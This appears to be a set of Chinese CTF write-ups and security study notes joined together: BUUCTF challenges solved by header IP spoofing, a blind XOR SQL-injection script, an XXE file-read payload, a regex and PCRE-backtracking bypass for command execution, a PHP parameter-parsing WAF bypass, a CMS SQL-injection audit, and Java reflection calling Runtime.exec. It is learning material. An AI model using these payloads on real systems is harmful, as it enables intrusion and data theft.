8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 




function change($v){ //可以通过反写将flag.php传入
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();//可以修改报文来绕过
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){//这里这个传值可以用data伪协议将一句话传进去
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

ip限制这里,因为常见的是XFF和Client-ip这俩,但这里并不清楚使用哪个,所以先都用,也不影响。

1
file_get_contents($_GET['2333']) === 'todat is a happy day

这里要求我们用file_get_contents读取到的内容与它完全一致,根据之前伪协议的总结,直接使用data://协议传就行
data://text/plain,todat is a happy day

然后最后一点就是还要传一个$file,file会经过change这个函数进行简单加密

1
2
3
4
5
6
7
8
function change($v){ //可以通过反写将flag.php传入
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}

逻辑挺简单的,先进行一个base64解码,然后对字符串的每一位先转成ascii然后根据所在位+i*2,再转回字符。由此重复两次,由于逻辑简单,完全可以去在线编译一个个解码出来,最后出来的是fj]a&f\b,并进行base64编码
反写脚本:

1
2
3
4
5
6
7
8
9
10
<?php
$re = 'flag.php';
$string='';
for($i=0;$i<strlen($re);$i++){
    $string .= chr(ord($re[$i]) - $i*2);

}
$string = base64_encode($string);
var_dump($string);
//string(12) "ZmpdYSZmXGI="

图片

这样传就行了

[WUSTCTF2020]颜值成绩查询

简单的sql注入题,报错和布尔都没回显,不过异或倒是可以

1^1^1,诸如此类

写一个自动化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time

def start_ascii():
    database_name = ""
    #table_name = ""
    #column_name = ""
    url = "http://0212c1b4-ce72-4f59-80f1-69a50cd1278b.node4.buuoj.cn:81/?stunum=1"
    for i in range(1,300):
        low = 32
        high = 128
        mid = (low + high)//2
        while(low < high):
            #payload = "^(ascii(substr((select(database())),%d,1))>%d)^1#"%(i,mid)
            #payload = "^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),%d,1))>%d)^1#" % (i, mid)
            #payload = "^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)=('flag'))),%d,1))>%d)^1" % (i, mid)
            payload = "^(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)^1" % (i, mid)
            res = requests.get(url + payload)
            if 'exists' in res.text:
                high = mid
            else:
                low = mid + 1
            mid = (low + high)//2
            # 跳出循环
        if mid == 32 or mid == 127:
            break
        database_name = database_name + chr(mid)
        #table_name = table_name + chr(mid)
        #column_name = column_name + chr(mid)
        print(database_name)
        time.sleep(1)

if __name__ == "__main__":
    start_ascii()

[NCTF2019]True XML cookbook

(奇奇怪怪的按照WP来,内网里没有存活的ip)

打开是个登录框,根据题目XML考虑是XXE注入,直接上之前的一道题的payload

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

图片

能读到用户文件,但直接读file:///flag是会报错的,怀疑没有这个文件,直接读源码也没啥有用的信息。

按照WP来说,要去看内网也就是file:///etc/host和file:///proc/net/arp这两个文件,会在这两个文件里存在一个存活的ip,运气好直接去读就行,运气好还需要burp跑一下C段爆破下,但我这里一个ip都没有奇奇怪怪

一些其他关于内网的文件

1
2
3
4
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie

从XML相关一步一步到XXE漏洞
 一篇文章带你深入理解XXE漏洞

[FBCTF2019]RCEService

这道题也是怪怪的,虽然是说知道以json的格式去传命令来rce,但是看WP,大家都对源码的由来模模糊糊?奇奇怪怪

图片

打开环境就是一个输入框,提示按照json格式来

1
{"cmd":"ls"}

图片

但把命令换成cd或者pwd等其他就直接被检测,到这里就没辙了,只能去看WP里的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];

    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}

?>

过滤的确实太多了,看着都头疼
不过有一个重点,这里是采取正则过滤的,可以从正则入手

源码中,正则规则设置的是匹配整个字符串,也就是从开头和结尾进行检查,然后并没有/m也就是没有多行匹配,所以我们可以用%0a也就是换行绕过,所以在匹配时不会匹配%0a,但是%0a又存在所以会绕过

这里又有一个点

1
putenv('PATH=/home/rceservice/jail');

题目改变了环境变量,所以我们只能用绝对路径来使用命令,而不是相对路径(作用就是避免调用系统命令)
尝试构造payload

1
?cmd={%0a"cmd":"/bin/cat%20/home/recservice/flag%0a}

但是有点奇怪啊 直接在输入框里输入不太行,只能在hackbar里输入,怪起来了
但是后面看了下这并不是预期解,只是因为正则没写好而已

预期解反而是从P神的博客中得来(膜下P神),主要考点是回溯,没听说过,学习下

参考文章:PHP利用PCRE回溯次数限制绕过某些安全限制

(第一次在ctf中见到了编译原理的知识,长见识)

看完就知道什么意思了,仿照p神给出的脚本,根据题目要求改下

1
2
3
4
5
6
import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://e368dc5e-4417-4353-b2de-be8f1b4dd4fe.node4.buuoj.cn:81/", data={"cmd":payload})
#print(payload)
print(res.text)

总之就是正则回溯一般是有次数限制的,超过限制不会返回1或者0而是false,可以通过发送超长字符串,让正则执行失败,防止回溯来bypass就一定要用===来过判断

在php中使用$_GET或者$_POST进行传值时,比如?f=a会变成Array([f] => “a”),但是值得注意的是查询字符串在解析的过程中会将某些字符删除或用下划线代替。/?%20news[id%00=42会转换为Array([news_id] => 42),那如果有一些过滤或者是WAF规则是当news_id参数的值是一个非数字的值则拦截

可以尝试用以下语句进行绕过

1
/news.php?%20news[id%00=42"+AND+1=0--

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

%20foo_bar%00 foo_bar foo_bar
foo%20bar%00 foo bar foo_bar
foo%5bbar foo[bar foo_bar
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
foreach(
[
"{chr}foo_bar",
"foo{chr}bar",
"foo_bar{chr}"
] as $k => $arg) {
for($i=0;$i<=255;$i++) {
echo "\033[999D\033[K\r";
echo "[".$arg."] check ".bin2hex(chr($i))."";
parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
usleep(5000);
if(isset($o["foo_bar"])) {
echo "\033[999D\033[K\r";
echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
}
}
echo "\033[999D\033[K\r";
echo "\n";
}

以上看大佬的博客,搜集到的脚本,可以爆破不影响字符解析的一些符号
图片

parse_str函数通常用于解析get.post和cookie中,如果网站允许接收带有特殊字符的参数,那么可以用这个函数进行解析,经过测试,foo%20bar和foo+bar等效,均解析为foo bar。


$_SERVER 函数中QUERY_STRING和REQUEST_URI区别

自己随便建立一个站,localhost/test(打开这里的index.php)

结果:

$_SERVER[‘QUERY_STRING’] = “”;

$_SERVER[‘REQUEST_URI’]  = “/test/“;

$_SERVER[‘SCRIPT_NAME’]  = “/test/index.php”;

$_SERVER[‘PHP_SELF’]     = “/test/index.php”;

在原有url上加上查询例如

localhost/test?p=2(附带查询)

结果:

$_SERVER[‘QUERY_STRING’] = “p=2”;

$_SERVER[‘REQUEST_URI’]  = “/test/?p=2”;

$_SERVER[‘SCRIPT_NAME’]  = “/test/index.php”;

$_SERVER[‘PHP_SELF’]     = “/test/index.php”;

localhost/test?p=2&q=3

结果:

$_SERVER[‘QUERY_STRING’] = “p=2&q=3”;

$_SERVER[‘REQUEST_URI’]  = “/test/index.php?p=2&q=3”;

$_SERVER[‘SCRIPT_NAME’]  = “/test/index.php”;

$_SERVER[‘PHP_SELF’]     = “/test/index.php”;

由实例可知:

$_SERVER[“QUERY_STRING”]  获取查询 语句,实例中可知,获取的是?后面的值

$_SERVER[“REQUEST_URI”]   获取localhost后面的值,包括/

$_SERVER[“SCRIPT_NAME”]   获取当前脚本的路径,如:index.php

$_SERVER[“PHP_SELF”]      当前正在执行脚本的文件名

 

题记:最近心血来潮,想玩下代码审计,奈何java底子完全不行,php还能将就看看,就找老大哥要了几个简单来玩玩,顺便复现

找到index.php文件夹,进行cms网站搭建,安装,安装完成后访问后台url:

http://127.0.0.1:8086/cms/admin/login.php

审计(偷懒用审计工具扫了下):

  1. SQL1
    查看源码cms/admin/art_list.php:

图片

通过源码这里发现,这里利用isset()函数来判断$_GET['tid']传递的tid值是否为空,然后再将GET方式传递的tid值赋值给变量$tid,下面的代码就很关键:

**$tid_zis=$c_sql->select("select id from type where tid={$tid}");**

    这里就是$c_sql来引用select("select id from type where tid={$tid}"),这里就继续追踪select()函数发现在/cms/include/class_sql.php被定义:

图片

这里就发现select($sql)函数下面是直接执行了,那么这里就有问题了,在前面GET方式进行传参的时候tid并没有进行过滤,这里在进行调用select()函数来查询数据库的时候是直接执行了,所以这里就存在SQL注入,那么就可以进行漏洞检测,通过源码我们可以定位到是art_list.php

然后根据代码,是通过GET方式来传递tid值,所以可以构造payload:

判断数据库长度是否大于6,回显正常

http://127.0.0.1:8086/cms/admin/art_list.php?tid=3and (length(database())>6)

图片

http://127.0.0.1:8086/cms/admin/art_list.php?tid=3and (length(database())>13)

判断数据库长度是否大于13,回显无数据

图片

查库名第一个字符

图片

图片

当ascii为100即第一个字母为d时,回显正常。存在布尔注入

在正常情况下,除了Java自带的类,我们要想使用一个类,就需要我们导入即import才能使用,所以forName就显得特别重要,因为我们可以拿这个来加载任意类。

在一些情况中,类名的部分会有美元$这个符号,$的作用是查找内部类。

在Java中,普通类c1中支持编写内部类c2,在编译时,会生成两个文件:c1.class和c1$c2.class,可以把他们看做两个不相关的类,通过class.forName就可以加载这个内部类

获取了这个类,就能接着通过反射来获取属性,方法,以及进行实例化。

newInstance()是调用类的无参构造函数,不过有时使用这个方法时会不成功,主要有两点

  1. 想调用的类没有无参构造函数
  2. 想调用的类构造函数是私有的
    举个例子,在构造命令执行相关Payload时,一般会使用Runtime这个类,但不能直接这样执行命令
1
2
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id"); 

会有报错!
原因是Runtime类的构造方法是私有的,而我们是不能直接使用的,所以会有报错,这里其实就使用了单例设计模式。

比如说,在Web网站中会使用数据库进行大量数据交互,但数据库链接只需要一次链接就行,不是每次使用时还要重新建立一个新的链接,此时将建立数据库链接的相关构造类的构造函数设置为私有,编写一个静态方法,使用单例模式

1
2
3
4
5
6
7
8
9
10
public class TrainDB { 
private static TrainDB instance = new TrainDB();

public static TrainDB getInstance() {
return instance;
}
private TrainDB() {
// 建立连接的代码...
}
}

代码如图所示,只有类初始化时才执行一次构造函数,否则只能通过getInstance来获取这个对象,避免建立多个数据库链接
Runtime类是很明显的一个单例模式设计例子,只能通过Runtime.getRuntime()来获取Runtime对象,所以要将上面的payload进行修改

1
2
Class clazz = Class.forName("java.lang.Runtime"); 
clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc.exe"); 

getMethod和invoke都是反射中很熟悉的方法,又因为在Java语法中类是可以进行重载的,不能仅仅通过函数名来确定一个函数。所以,调用getMethod的时候,需要传给需要获取的函数的参数类型列表,这里使用的Runtime.exec这个方法就有6个重载

在这里我们使用最简单的,只有一个参数类型是String,所以使用getMethod(“exec”,String.class)来获取Runtime.exec方法

invoke()作用是执行方法:

  1. 如果这个方法是一个普通方法,第一个参数就是类对象
  2. 如果这个方法是一个静态方法,第一个参数就是类
    所以将上述代码进行简化
1
2
3
4
5
Class clazz = Class.forName("java.lang.Runtime"); 
Method execMethod = clazz.getMethod("exec", String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime, "calc.exe");

这下会清楚很多
那如果一个类没有无参构造方法,也没有单例模式里的静态方法,如何通过反射实例化该类?

为了解决这个问题,我们需要引入一个新的反射方法getConstructor

与getMethod类似,getConstructor接收的参数是构造函数列表类型,因为构造函数也支持重载,有无参数即是一个体现。

获取想要的构造函数,那我们就要用newInstance来执行

比如另一种执行命令的方式ProcessBuilder,用反射来获取其构造函数,调用start()来执行命令

1
2
Class clazz = Class.forName("java.lang.ProcessBuilder"); 
((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start(); 

ProcessBuilder拥有两个构造函数

  • public ProcessBuilder(List command)
  • public ProcessBuilder(String… command)
    这里用到了第一个形式的构造函数,所以在getConstructor传入的是List.class,但这里很明显使用了一个强制类型转换,所以需要一个反射来完成
1
2
Class clazz = Class.forName("java.lang.ProcessBuilder"); 
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance( Arrays.asList("calc.exe")));

通过 getMethod(“start”) 获取到start方法,然后 invoke 执行, invoke 的第一个参数就是 ProcessBuilder Object了。
那如果采取使用第二个构造函数呢?这里面涉及了可变长参数,在Java里如果定义函数时不确定参数数量的时候,可以使用…这样的语法,来表示这个函数的参数个数是可变的。对于可变长参数,java其实在编译的时候会编译成一个数组

1
2
public void hello(String[] names) {} 
public void hello(String...names) {} #不能重载

所以我们如果有一个数组,就可以直接传给我们想使用的函数,对于反射来说同理,在这里把字符串数组的类String[].class传给getConstructor,获取第二种构造函数

1
2
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getConstructor(String[].class) 

在调用 newInstance 的时候,因为这个函数本身接收的是一个可变长参数,我们传给 ProcessBuilder 的也是一个可变长参数,二者叠加为一个二维数组

1
2
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).netInstance(new String[][]{{"calc.exe"}})).start();

如果一个方法或构造方法是私有的呢?

这里就要使用getDeclared系列的反射,与普通的区别在于

  • getMethod系列方法获取的是当前类中所有公共方法,包括继承的方法
  • getDeclaredMethod系列方法获取的是当前类中的声明过的方法,是确确实实写在类里的,包括私有的,但是继承的类不包括
    具体使用方法是与getMethod等是类似的

在前面说过Runtime这个类的构造函数是私有的,就要用Runtime.getRuntime()来获取对象,现在也可以用getDeclareConstructor来获取这个私有的构造方法进行实例化

1
2
3
4
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclareConstructor();
m.setAccessible(true);
clazz.getMethod("exec",String.class).invoke(m.newInstance(),"calc.exe");

这里使用了一个方法 setAccessible ,这个是必须的。我们在获取到一个私有方法后,必须用 setAccessible 修改它的作用域,否则仍然不能调用。